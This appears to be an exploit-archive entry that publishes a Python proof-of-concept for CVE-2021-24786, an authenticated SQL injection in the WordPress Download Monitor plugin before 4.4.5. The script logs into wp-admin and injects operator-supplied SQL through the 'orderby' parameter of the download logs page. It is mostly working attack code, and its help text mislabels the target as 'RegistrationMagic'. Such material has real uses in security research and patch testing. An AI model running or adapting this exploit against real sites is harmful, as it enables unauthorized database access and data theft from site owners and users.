Wordpress plugin download monitor wordpress v 4.4.4 sql injection (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-02-02 | Type : webapps | Platform : php
This exploit / vulnerability Wordpress plugin download monitor wordpress v 4.4.4 sql injection (authenticated) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Wordpress Plugin Download Monitor WordPress V 4.4.4 - SQL Injection (Authenticated)
# Date 28.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.download-monitor.com/
# Software Link: https://downloads.wordpress.org/plugin/download-monitor.4.4.4.zip
# Version: < 4.4.5
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24786
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24786/README.md

'''
Description:
The Download Monitor WordPress plugin before 4.4.5 does not properly validate and escape the "orderby" GET parameter
before using it in a SQL statement when viewing the logs, leading to an SQL Injection issue
'''

# Banner:
banner = '''

___ __ ____ ___ ____ _ ____ _ _ _____ ___ __
/ __\/\ /\/__\ |___ \ / _ \___ \/ | |___ \| || |___ ( _ ) / /_
/ / \ \ / /_\_____ __) | | | |__) | |_____ __) | || |_ / // _ \| '_ \
/ /___ \ V //_|_____/ __/| |_| / __/| |_____/ __/|__ _/ /| (_) | (_) |
\____/ \_/\__/ |_____|\___/_____|_| |_____| |_|/_/ \___/ \___/

[+] Download Monitor - SQL-Injection
[@] Developed by Ron Jost (Hacker5preme)
'''
print(banner)

import argparse
import requests
from datetime import datetime

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin RegistrationMagic - SQL Injection')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD

print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# Exploit (WORKS ONLY IF ONE LOG EXISTS)
print('')
print ('[i] If the exploit does not work, log into wp-admin and add a file and download it to create a log')
print('')
# Generate payload for SQL-Injection
sql_injection_code = input('[+] SQL-INJECTION COMMAND: ')
sql_injection_code = sql_injection_code.replace(' ', '+')
exploitcode_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date`' + sql_injection_code + '`user_id'
exploit = session.get(exploitcode_url)
print(exploit)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S')))